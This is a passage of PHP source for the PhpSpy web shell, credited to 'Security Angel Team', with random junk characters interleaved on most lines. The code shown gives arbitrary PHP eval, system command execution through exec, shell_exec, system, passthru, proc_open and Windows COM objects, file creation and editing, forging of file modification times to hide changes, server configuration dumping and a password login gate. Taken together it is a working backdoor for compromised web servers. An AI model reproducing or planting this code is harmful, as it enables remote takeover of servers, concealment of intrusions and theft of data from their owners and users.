* e) O2 ~9 Z/ Q* ] - makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));& r- H! e0 \. N) q
- p('Your Port:');
7 ?/ ^0 c3 O5 M9 Z7 O. M1 c - makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
6 w& U. H' K. l7 y2 S6 U+ D( l; |0 [ - p('Use:');7 R, N' y- I4 g+ @! b! e
- makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));0 S. _) i' A' i
- makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
4 ?7 r( ~- }: d k' Y& u4 m - p('</p>');
9 m( G) m+ A' n9 X7 {7 O6 ]; j - formfoot();
1 n% Z4 s5 k+ o' K/ n3 a2 q - }//end sql backup+ x: ?. \4 l7 m3 w# @" `# g6 a
- elseif ($action == 'eval') {
. h" c) d* [- u p% I - $phpcode = trim($phpcode);
]! D6 s5 w {0 t. t* s* o - if($phpcode){' d$ A9 J$ u0 j1 Y4 K" Q& ~6 }/ T
- if (!preg_match('#<\?#si', $phpcode)) {+ T' ^/ D. s+ X$ r
- $phpcode = "<?php\n\n{$phpcode}\n\n?>";
0 m: k7 C6 V* g& y2 [ - }& u x2 ]9 Q4 b: O; @
- eval("?".">$phpcode<?");
" u/ R- {5 Z8 u - }* p( I# j& x6 O. c
- formhead(array('title'=>'Eval PHP Code'));2 K9 {) j' ?, T1 r# ?
- makehide('action','eval');
. ]& B. ?& R! k Z& Z' L, z - maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));0 H4 |/ n6 f, N; W/ s4 _0 B
- p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
- v% |! J9 y7 U6 O+ O* |- G, x - formfooter();
& K o9 r4 {1 R1 b6 s/ }) x - }//end eval$ _9 ?0 s0 w# x1 t& @4 U) ?$ R
-
5 M0 L" v( _6 X, r# ^% `8 X$ I6 ~ - elseif ($action == 'editfile') {( ~1 H4 o2 B3 P: p+ L8 S8 C
- if(file_exists($opfile)) {( `. A" u! N5 b
- $fp=@fopen($opfile,'r');
& y2 Z/ c" {" x( C2 g* V4 X - $contents=@fread($fp, filesize($opfile));- e6 G, V- B8 H/ P z6 h, R) |
- @fclose($fp);
& F M2 K C3 f6 V/ g; ]9 B - $contents=htmlspecialchars($contents);
; @5 I+ a7 N1 O. y2 R/ X - }
. S5 {: m: |+ Q' l - formhead(array('title'=>'Create / Edit File'));
0 _( V6 m* x' z7 G - makehide('action','file');# R+ ^1 L% p& e
- makehide('dir',$nowpath);: @5 @4 n- A' @' ?" f
- makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
* T: j$ a1 F" Z, t) ]5 ~" r% ~; U - maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));5 C0 d0 ^/ R: S& w9 ]! g
- formfooter();6 q9 U# a; T! E3 t
- }//end editfile ~2 B0 i0 f4 g7 g% R& g3 [2 p
- / v7 v2 j2 }0 H- a9 o: J
- elseif ($action == 'newtime') {
5 H" s( f4 h, P- m8 A5 R `2 Z - $opfilemtime = @filemtime($opfile);* A7 K S- v% {: I/ s
- //$time = strtotime("$year-$month-$day $hour:$minute:$second");
4 O& V7 ~; y w9 \3 X" n" Y - $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);8 w$ E! G6 m7 d! |' E6 `5 G! Q
- formhead(array('title'=>'Clone file was last modified time'));! _0 \/ x) S( L! ^& [) Z
- makehide('action','file');7 Q5 O, ?9 V- [& r0 d9 q' J
- makehide('dir',$nowpath);: R9 y# g N$ ~# W/ f+ m" J
- makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));" Y% _. H2 Y# ]( S7 O7 y8 w
- makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
" ?. m4 w: K- z1 E/ Y - formfooter();
' c* Z; C% c; n8 U% l0 N; L - formhead(array('title'=>'Set last modified'));
9 P: i1 W" G6 D V$ [ - makehide('action','file');6 Z, V! n `3 h7 _3 v2 c8 I) j
- makehide('dir',$nowpath);
# U/ y- Q0 g' N - makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
( l5 B- h, B, Y$ x& L2 ?6 x - p('<p>Instead »');7 i+ K+ K3 G) {. T, [* P) d7 k% x0 X! r
- p('year:');
8 G5 Q9 ]- T9 M+ V - makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));* C9 I- b5 H+ {4 O6 y( s
- p('month:');
8 o9 l- b2 e- ?! n0 U; ` - makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));! z/ d' s0 o" @+ y, H2 U
- p('day:');: c/ @ q/ M7 v; x' S, W; L
- makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
7 l2 T! i( O. O( Z9 l/ @ - p('hour:');# F( b0 M; o* U" F# S& H
- makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
4 ^7 ^. t! ]2 b - p('minute:');" X0 n0 V& v8 ~3 @4 W" A
- makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
) l$ d. g+ Y/ \" t0 l% J9 _ - p('second:');- n1 L0 H6 r/ U+ ]& C1 c
- makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));+ M7 H+ g# m6 s: S6 q- Z. f
- p('</p>');# a( X! B/ z! z9 s( D/ t/ R' N
- formfooter();
: q8 l2 @; _- Z' C - }//end newtime
% e4 P- Y0 B2 d% J -
3 Z# h: [( ?7 w - elseif ($action == 'shell') {
; A5 N7 J) O$ Z4 g ^4 R. o - if (IS_WIN && IS_COM) {
) _1 Q' {- [& r' y. @( ~$ D - if($program && $parameter) {, Q1 u. A! X& n) W. Y( |' K6 {
- $shell= new COM('Shell.Application');
- S9 M4 j- H0 p* c! H - $a = $shell->ShellExecute($program,$parameter);/ y. r0 u6 W7 n# V
- m('Program run has '.(!$a ? 'success' : 'fail'));
1 z: E6 F6 ^: K' B9 h - }4 z8 Q X, F7 z
- !$program && $program = 'c:\windows\system32\cmd.exe';; `# \0 S; }& W- I/ u
- !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';5 g; X, t, q# ~/ Z: }
- formhead(array('title'=>'Execute Program'));, E) u! {3 ]3 X+ R
- makehide('action','shell');
4 X6 F7 s0 A, ~) l - makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
' \2 F, T! r, i" k* E' h, g1 h - p('<p>');- ?# v! `7 e* a1 N2 ~
- makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
- L$ \8 F+ n2 q: Q P5 K - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
4 n/ V. i, C( a1 B - p('</p>');6 k2 r. M! z$ k) l% K8 C
- formfoot();
* u3 X: A, x( L - }
" W/ v$ E3 ]- a) D% D* e - formhead(array('title'=>'Execute Command'));3 D2 x: v: m3 D
- makehide('action','shell');
% N1 g$ ?, w& B' Q2 p0 W+ z0 m - if (IS_WIN && IS_COM) {
1 F5 Q& f' A, j, D: K% A - $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');1 a' o9 Z( j: u8 T; q4 b0 H
- makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
5 H- L5 P4 F9 ~1 K4 U( K - }
" A7 W- C1 H$ w1 o - p('<p>');
9 G5 r" d$ U5 U' b - makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
" F( x! W# P" `- g& Z - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
' H, y$ P6 }$ K2 b8 F2 X% n - p('</p>');
5 h, U0 D9 \! i1 N$ Y* t; ~ - formfoot();8 \& d: n! ~" G" c
-
* c) b( ]3 @( }9 k' l - if ($command) {4 c8 c6 |, W' b
- p('<hr width="100%" noshade /><pre>');& V9 H1 ]5 z# c$ ^7 g. b! W* b
- if ($execfunc=='wscript' && IS_WIN && IS_COM) {
, v& N# `# A' b( v p' z' \( b - $wsh = new COM('WScript.shell');" Z9 a7 m/ s4 I/ ?
- $exec = $wsh->exec('cmd.exe /c '.$command);! M [+ N9 c7 J5 {
- $stdout = $exec->StdOut();
# C3 S9 z* [4 J. o0 y* \) ~ - $stroutput = $stdout->ReadAll();
4 X$ B6 ?- R( f, A( c - echo $stroutput;
$ |. d6 x/ ]0 J2 f2 z, L - } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {4 H+ e; \( }9 [" Z& O, \ [
- $descriptorspec = array(
, q" B3 v) ?5 S0 E, ]! | a - 0 => array('pipe', 'r'),% N* g( }! c" n/ r* a- w
- 1 => array('pipe', 'w'),
# s Q0 B3 N5 |8 n" Y - 2 => array('pipe', 'w')( d2 w6 X% i$ w; j$ P e6 O X
- );
$ H) C' ]4 ^2 P - $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
) N0 d, l* b' r' [1 v" Z - if (is_resource($process)) {
3 ]' `. N \; d) U- K! e# B: I - fwrite($pipes[0], $command."\r\n");
" Q/ @1 F/ z6 k0 Q4 Z - fwrite($pipes[0], "exit\r\n");' A0 y9 q$ ]+ d' p$ Z
- fclose($pipes[0]);2 \( [: D6 d. q" q. i
- while (!feof($pipes[1])) {
3 i$ P1 H# n2 J) v+ n - echo fgets($pipes[1], 1024);
# w1 n* U# J% ^ - }/ s8 W l+ c- ~6 O
- fclose($pipes[1]); N* U# k0 ~2 D) B4 O% S
- while (!feof($pipes[2])) {
# Q4 w [7 e/ s+ H# e! o - echo fgets($pipes[2], 1024);
6 d5 H: [) I, c- r- D$ U3 y k. E - }
) w# a7 O7 ?8 @/ }6 S* m- m7 y - fclose($pipes[2]);
; B( x+ v1 K3 m% F( P4 t$ t7 r - proc_close($process);1 l* m8 C! M! M/ F7 {
- }
& S' q! E& u# H( L - } else {
( G- B6 e8 F: c5 `! C - echo(execute($command));
$ J: p2 t$ S# X9 w0 x W# } - }0 [ E" {8 a9 ~% O6 O+ V% d1 Q
- p('</pre>');
' O" l" `# o' X2 b3 J/ f - }" t1 G+ k! x& W: e3 o H' ]
- }//end shell0 Z8 x" N5 ?6 x; I! u8 ^
- * E$ K- G5 l' ]) L* z
- elseif ($action == 'phpenv') {- B9 ]" D% y! E8 r4 K
- $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';' E2 e$ ?5 r0 b
- $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');( i( u( S. r2 N
- !$dis_func && $dis_func = 'No';
8 i9 ?3 Y, d) [' q1 X$ y- Y4 M - $info = array(
' j- s6 Z4 U; d/ p- B5 | - 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
5 b1 C/ o. H& U$ n* c8 p" u - 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
7 d( G" g2 z( ~) s( f - 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
) m8 b0 p8 I; T - 4 => array('Server OS',PHP_OS),
! D2 i: S8 @7 y! o& \; E - 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),; t3 u1 B7 K2 B8 C1 q, R2 L7 Z
- 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),0 y5 i1 q% e, H3 I) D
- 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
0 c3 w" \5 i, m# p3 r% K5 L/ Y - 8 => array('PHP run mode',strtoupper(php_sapi_name())),
^9 f" J% L1 M0 k: j$ T - 9 => array('The file path',__FILE__),* ]* @" m# e! \4 |7 P# F
- * Y: f7 Z7 |% r0 }1 B& N
- 10 => array('PHP Version',PHP_VERSION),
7 x' B; `% U/ m6 g - 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
0 y; Y* U7 o# I; r& E - 12 => array('Safe Mode',getcfg('safe_mode')),
& i+ {/ G# G7 I& n$ f) e* {1 q - 13 => array('Administrator',$adminmail),, ~0 y% T# V* j; h
- 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
& T' H. D, q3 v( y - 15 => array('enable_dl',getcfg('enable_dl')),
( a3 n9 l( \, _% Q# ] o6 a7 n5 N - 16 => array('display_errors',getcfg('display_errors')),( {2 f7 a* Y) R- c2 `
- 17 => array('register_globals',getcfg('register_globals')),7 F- E1 l1 ?7 Q$ l) C
- 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
# X# Z$ H3 v7 w2 B - 19 => array('memory_limit',getcfg('memory_limit')),
6 c/ u# K7 Z/ u - 20 => array('post_max_size',getcfg('post_max_size')),9 {& P `# {+ R; @+ U% _# @9 _
- 21 => array('upload_max_filesize',$upsize),% q) z, _" S$ ]- m5 o' \$ z7 |
- 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),0 s: w8 }1 [/ ~2 c: { ?. n2 h
- 23 => array('disable_functions',$dis_func),
& k' Y G: N% e" V+ o - );) i0 S( z' n3 |6 J: F- [
-
$ J2 ]& U: S1 _0 ^; U - if($phpvarname) {
! A0 L2 F( q4 p0 X1 f; j - m($phpvarname .' : '.getcfg($phpvarname));
; h+ C) ]5 P) a1 U/ m - }
7 Z+ r3 q. I6 O4 g$ D# ~0 b( Y -
/ ~3 t" m2 K! l5 H$ A - formhead(array('title'=>'Server environment'));& V P8 b# [$ L2 B1 _$ F
- makehide('action','phpenv');# W7 g }9 ~2 g. @1 [* l2 |8 ?; B
- makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
; k [& a7 G) ~7 |0 q/ L - formfooter();
/ _/ ?- [) q: i7 }$ q - # ~. a, t/ [4 t; P; ^
- $hp = array(0=> 'Server', 1=> 'PHP');( ]% n# p. i: W( D& f
- for($a=0;$a<2;$a++) {+ p5 V9 h& L1 O
- p('<h2>'.$hp[$a].' »</h2>');
% }6 S. }5 P8 s" J+ X+ U* f' T - p('<ul class="info">');
% `4 F/ x' G% O+ L7 c - if ($a==0) {
8 x& |" |7 V w4 M8 i1 k! i - for($i=1;$i<=9;$i++) {
/ b( U. V" R% Q; H - p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');+ j* N; ]8 {6 V0 G `. S. Z
- }
+ R8 I: M& j o - } elseif ($a == 1) {
( J% Y# t. p5 R- c; D/ a" o - for($i=10;$i<=23;$i++) {
& `0 f5 j9 _( h9 S - p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');( b4 g( r' o* n% y" ~
- }( S: S9 ^, L' K# U
- }, t5 I3 \% t+ K
- p('</ul>');
/ B0 I& z) T( G9 U) N1 T+ I - }
, C7 D1 L: }3 V; }1 e8 s - }//end phpenv
, f) c* k9 y; S: Q( u - " e9 z* M1 O5 I/ M; P
- else {/ y! u1 d& M7 w) x7 J8 e; M
- m('Undefined Action');" F7 F& y* o0 z) ~4 h( X7 `
- }
+ A6 t5 {+ E1 h/ h9 s1 L8 H -
8 C7 d# ], H& V8 \: A& v6 K: { - ?>" O2 c8 Q% t8 }# @* Q
- </td></tr></table>" q% J6 R. |4 `0 ], o' Q- z7 `+ F
- <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
. O3 G! G9 v& Q! @ - <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
3 ]! e$ g$ a0 g' q6 Y - Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
8 w. ~# w: j7 A - </div>* U6 S: H6 }. L& G. F. x
- </body>
- f x( z' r% X/ _! U" N$ z - </html>* B/ M0 d( @+ Y* l* \# f+ U
- . g, y9 x2 [4 k. O, l M
- <?php5 h5 q0 p, j6 e0 j% h0 M8 b- A
- * O" Z2 F; i# \ l- v8 n
- /*======================================================
- j6 y3 b' ?- C9 X - 函数库 R6 b* T, {" Q" u0 b' m
- ======================================================*/ \% \" }' `2 k) t) z: g
-
6 K9 N' l+ P; ^/ e- X# n5 f. Z2 t - function m($msg) {9 y. E, T9 k" `& t- T& l% |
- echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
( G1 V3 o1 ^+ P4 P - echo $msg;" S( h( f! Z) {7 ?* E8 ?
- echo '</div>';
& o/ ~6 A% K8 \" |- l( E0 o - }
+ t0 `$ q& U( ]; G# R% F - function scookie($key, $value, $life = 0, $prefix = 1) {. I' C3 n4 A% n, R: F
- global $admin, $timestamp, $_SERVER;0 p7 J+ X8 q+ n7 ]2 x/ D8 k& b
- $key = ($prefix ? $admin['cookiepre'] : '').$key;& A% b7 t, |& v8 D0 N4 w
- $life = $life ? $life : $admin['cookielife'];
1 {3 N# X) n7 c7 Z! S1 k - $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
* E( f o& C, w( ^" {# H - setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
q9 c- s0 b) [ - }
* y- ?" y1 F! P R2 Z' i' C9 a) } - function multi($num, $perpage, $curpage, $tablename) {
+ M' P7 }# }+ `& B" R2 Y& M1 o - $multipage = '';9 i- k1 a ?. l+ D% F" m
- if($num > $perpage) {+ ]" o, P- e S, a9 b$ V. h6 U
- $page = 10;6 m0 y8 p: g b0 a0 w/ y
- $offset = 5;
; B6 v+ Y8 s% h7 g - $pages = @ceil($num / $perpage);5 V0 y8 E# H+ B, H# C
- if($page > $pages) {* @4 y9 d5 L S
- $from = 1;
% w8 L6 @/ l3 s - $to = $pages;. f( H$ L+ @3 O
- } else {, r* O+ l. y8 f) L( m B. ?9 A4 Q: @
- $from = $curpage - $offset;( C2 Q9 u0 G8 H2 N7 s# M& J0 o# P
- $to = $curpage + $page - $offset - 1;
1 G5 M# P7 c* _" P! i - if($from < 1) {, t& ^5 t( {" u: Q
- $to = $curpage + 1 - $from;
8 m: v8 D" j; G8 X6 p - $from = 1;
}+ H" M' ?$ M5 V! Q% u - if(($to - $from) < $page && ($to - $from) < $pages) {, j/ g+ @8 ^/ e5 ^
- $to = $page;
* @5 G Z" l( s4 p8 t. J) K - }! u; T) E! l4 o1 J: ~
- } elseif($to > $pages) {
, e, ]6 j! h* d$ ]2 l - $from = $curpage - $pages + $to;9 P, G. L* R8 K* [
- $to = $pages; ^7 D" i' `5 @
- if(($to - $from) < $page && ($to - $from) < $pages) {1 {* u# n$ |& r# \
- $from = $pages - $page + 1;( ^- k6 S" E/ f P
- }
. A4 B+ q! J; Q5 R1 M1 w - }3 k. ~* J. M$ e/ s, ~' E
- }
3 E2 s0 W4 F- F/ m6 [ - $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
3 t$ j- k+ `- j1 b3 n - for($i = $from; $i <= $to; $i++) {
( W1 P y4 }! ^ p- k9 X% [' L - $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';- U$ D( Y r+ ^' l. [5 U% Y) ~
- }
" Z* f1 U$ V& Q# x+ Y! T: m - $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
6 L3 H5 Z0 {6 z. ?8 P; u0 \ - $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
4 K, O: Z) J% f: o+ W7 ] - }% H8 M% V" u% q. I) e% S" p: @
- return $multipage;8 V+ f0 Y5 U* f& ~
- }
' b' k8 h# K, n! ^6 v - // 登陆入口4 A# I/ Q+ ?. r9 ?
- function loginpage() {
: N* A2 s# n( n0 x3 { u - ?>
! K0 ^) i* L1 j3 f7 ]0 S - <style type="text/css"> j9 }8 I1 P' Z- x
- input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
+ r1 K/ n7 y5 W4 J+ y - </style>. n/ ?& T: }/ C3 \7 X3 V+ y
- <form method="POST" action="">
% s" [4 b$ I7 U - <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">: n/ J" X2 B' N5 u, u
- <input type="hidden" name="doing" value="login">( E% Q# b4 s; D, T' b
- <input type="submit" value="Login">/ i# q. q% {* [2 ]; m# {
- </form>
2 b3 w1 }) J/ Q9 t/ N# ^ - <?php% y, p5 t8 l' h: K
- exit;
% f8 W& T& O! D2 j - }//end loginpage()
& p/ ~" C- f, D7 b( L( D; y -
" n3 `+ h- _0 z - function execute($cfe) {
v9 S9 f0 M' T: g- m - $res = '';9 M8 x! N9 A/ r* b+ Z! i
- if ($cfe) {
( L5 w5 k$ a! L2 e/ p& L# _ - if(function_exists('exec')) {+ \* C7 C1 J5 @- s4 Y+ O. [% g% Z
- @exec($cfe,$res);/ h/ I6 V: x, I! n ?3 _5 ?
- $res = join("\n",$res);: v$ W( j* q+ `9 D; a
- } elseif(function_exists('shell_exec')) {7 v8 M0 \9 v4 v# p
- $res = @shell_exec($cfe);
3 a* F; h; x2 v& a - } elseif(function_exists('system')) {
- F7 \2 R: n9 i' u- u: L1 O3 P - @ob_start();4 W* }" }2 M' D+ M/ K
- @system($cfe);: |4 q0 {1 R4 b" c4 W/ a
- $res = @ob_get_contents();
, w; x/ U. D2 w( @$ x5 s: w - @ob_end_clean();- H) D# D1 }5 K5 x# g% B' Z* F
- } elseif(function_exists('passthru')) {% P, y8 O5 W' m# L* z
- @ob_start();6 i' N5 f- g" g: B3 a* W$ g& v
- @passthru($cfe);7 R9 D3 s5 H( O
- $res = @ob_get_contents();0 Y" w" c( \- d3 ^9 i: b
- @ob_end_clean();" o9 }& P& |2 \ K B0 B$ w1 S
- } elseif(@is_resource($f = @popen($cfe,"r"))) {
* n0 m. b- i, Q P/ |$ Y - $res = '';( u% f. t7 L: }! K1 x& N2 L) R
- while(!@feof($f)) {
7 T; X' O' ]- O/ Q& R+ A - $res .= @fread($f,1024);
2 j2 o$ t) |! y - }3 {' q- A: k; J" C
- @pclose($f);5 `* H7 r2 k9 O, B' \# H3 f0 A
- }
5 l9 d0 j) T( z! h6 ], M% Z - }
; X8 `, C0 {; J, w4 u' e; N$ \/ f' l - return $res;: a% ^( U) d6 D2 A0 t- [
- }" m D* z4 i; H
- function which($pr) {
* Y4 S4 ~: j9 }% n8 j! D) a - $path = execute("which $pr");3 g+ _- Y) ^! d& `
- return ($path ? $path : $pr); ! {4 z& b4 {( H8 H
- }
3 ]2 W: R! _- h/ N" H -
6 N- F7 w# l2 V3 g8 m9 v - function cf($fname,$text){9 s+ B" u8 O5 U0 J
- if($fp=@fopen($fname,'w')) {! R0 N$ y0 s* l
- @fputs($fp,@base64_decode($text));
7 e- u4 F* w- [8 M' w% { - @fclose($fp);
# G' ]+ n: C6 h+ }; M! Y" w7 s: P - }
& p; ]; e& S7 R7 E, U - }, m# W. z# R* i1 V' ~% p
-
$ S1 ^( T7 Y5 `% H i - // 页面调试信息
' e/ ^; m% V v3 x0 u, { - function debuginfo() {+ `. G3 D. w( e7 O0 q2 n- _
- global $starttime;' \7 ~7 { l ^
- $mtime = explode(' ', microtime());
$ [# B0 L* m: w- T - $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);8 U0 I; P E) G+ J) d2 b
- echo 'Processed in '.$totaltime.' second(s)';3 o+ k9 x' s; z+ S3 |; ]
- }8 n: Q( F4 x% d' k
- # P) y9 E/ X( l8 ]
- //连接数据库
6 v1 d& P B- G0 @$ U - function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
, o9 f0 q) X: M - if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {; M' s) d. ]3 n# @
- p('<h2>Can not connect to MySQL server</h2>');
$ z+ `3 O; ~! o" r& P- \ - exit;( y3 A2 t0 z: g7 a: `
- }7 k9 O4 F) Q# z9 p
- if($link && $dbname) {6 ?5 o i% u$ E1 \6 }2 ]
- if (!@mysql_select_db($dbname, $link)) {
" U( n* c/ C+ B9 M* ^! T - p('<h2>Database selected has error</h2>');
1 H& y- N+ f' a U - exit;
6 @. v7 S: z8 d! | - }$ ~- D' H y. j6 I
- }9 P$ e( n4 S, @. d9 p( z
- if($link && mysql_get_server_info() > '4.1') {8 K3 m# z0 b- L2 H4 m
- if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {$ {: ~/ s( j: S" \* @6 O
- q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
0 F$ @2 n% I$ i, X) C$ K! e, ^, o - }8 [0 s$ v C; Y7 A! ]( c9 w
- }
. ^" t0 ^. W2 t2 l# e; _& f - return $link;
( |3 H8 Z- \1 m1 ]& d - }: s0 W, n& d$ I
- & I6 y$ v% ]$ `. o2 X6 t
- // 去掉转义字符4 M6 S3 q: [+ w0 e: s5 A
- function s_array(&$array) {7 q1 Q. M, C% y+ E
- if (is_array($array)) {* w& X. [* R: s; g, l4 D
- foreach ($array as $k => $v) {
9 {% Z9 f& }8 j8 `+ \ s, y - $array[$k] = s_array($v);
! ?$ m4 O/ e8 P' A- y" Y - }
* B3 [8 ?6 P* }- I, Y& j' B - } else if (is_string($array)) {, s T# J& g- f6 a& n
- $array = stripslashes($array);
4 Z, i& \2 T1 C1 q; _ - }% _! k5 y& ^- o' C1 x7 w' V
- return $array;
, m/ _' K( O7 d9 A7 v6 c- T0 g7 u+ K$ R - }
) |" I/ K: D& ]9 ` -
" {6 L5 u; P: r2 H/ t - // 清除HTML代码
, z* b( \1 [, j9 {$ H - function html_clean($content) { ]# g# R( }) x& r
- $content = htmlspecialchars($content);
1 M; G2 R u3 }/ p/ v F - $content = str_replace("\n", "<br />", $content);/ U% [: e3 W( X6 N$ A* L* F
- $content = str_replace(" ", " ", $content);# }/ F! p# A% i5 X1 n6 g
- $content = str_replace("\t", " ", $content);
, H3 t. [& z$ _, c" o - return $content;4 |& l( b+ |& {" @
- }' E* |+ k$ H. x# \3 W3 B0 g
-
/ H) w0 \- C# P8 J- ?" N4 P; Y5 t U# V - // 获取权限
1 V3 C6 p* ~. R4 s3 a) L+ e$ w - function getChmod($filepath){
+ {8 d4 [/ X3 w0 ? - return substr(base_convert(@fileperms($filepath),10,8),-4);- A6 r4 `+ w& s. H7 o
- }: [+ T) o5 v* L
- 0 B2 A0 I* o) {# b e. Y
- function getPerms($filepath) {( Z* i& x0 e c: N6 _, ^( r5 a' \5 s
- $mode = @fileperms($filepath);& L0 L3 {2 n" R: S5 C- m% A3 M
- if (($mode & 0xC000) === 0xC000) {$type = 's';} e# h8 v& ^9 m2 L
- elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
5 d+ d7 N& ~! ]. N% [1 g8 m. W - elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}4 e. u7 t0 m' l5 l. c0 r# z
- elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
$ L: _: N8 x0 i8 x - elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
5 w$ k! d! }# h, C9 g. H; X) c - elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
$ I. X* _2 c' A& t; Q7 W4 [. j - elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}! G$ f9 g% v' n1 C
- else {$type = '?';}1 }% w) [' Z$ N! J* q9 j
- : L: Q. f; Q- V, H, V3 r# N
- $owner['read'] = ($mode & 00400) ? 'r' : '-';
% q5 D% F1 g9 R* Q - $owner['write'] = ($mode & 00200) ? 'w' : '-';
0 u; [! J7 x: K# J. [; a% \. m - $owner['execute'] = ($mode & 00100) ? 'x' : '-';
; ^: b* G1 ?( t - $group['read'] = ($mode & 00040) ? 'r' : '-';
" J7 N' ^; A+ _ - $group['write'] = ($mode & 00020) ? 'w' : '-';
0 X& E0 t7 Y: v0 Q0 |( U( @; Z - $group['execute'] = ($mode & 00010) ? 'x' : '-'; + d" P7 T( N1 ]
- $world['read'] = ($mode & 00004) ? 'r' : '-';
, m5 x7 r) X8 J3 n0 r6 H$ u - $world['write'] = ($mode & 00002) ? 'w' : '-'; 2 O' Q3 {: B$ W# y3 s4 _
- $world['execute'] = ($mode & 00001) ? 'x' : '-'; `& Q/ X/ b, ~) j! D
-
- q+ ]+ y, j; S7 ? - if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}* H) m5 J' Q& W! J
- if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}: ]( T/ z0 ` z0 D: v$ d
- if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
+ b) T$ e0 I7 h3 L1 V, i5 t* h - " Q, F- Z* m. v) ^% C. ^8 k- ^
- return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
2 f j& o* ?% G0 {& i - }
$ u' m' }) k% y' z) h -
% p$ V) A* [# _: a& M% A - function getUser($filepath) {
' g1 r- _# N3 V. p* [1 I - if (function_exists('posix_getpwuid')) {
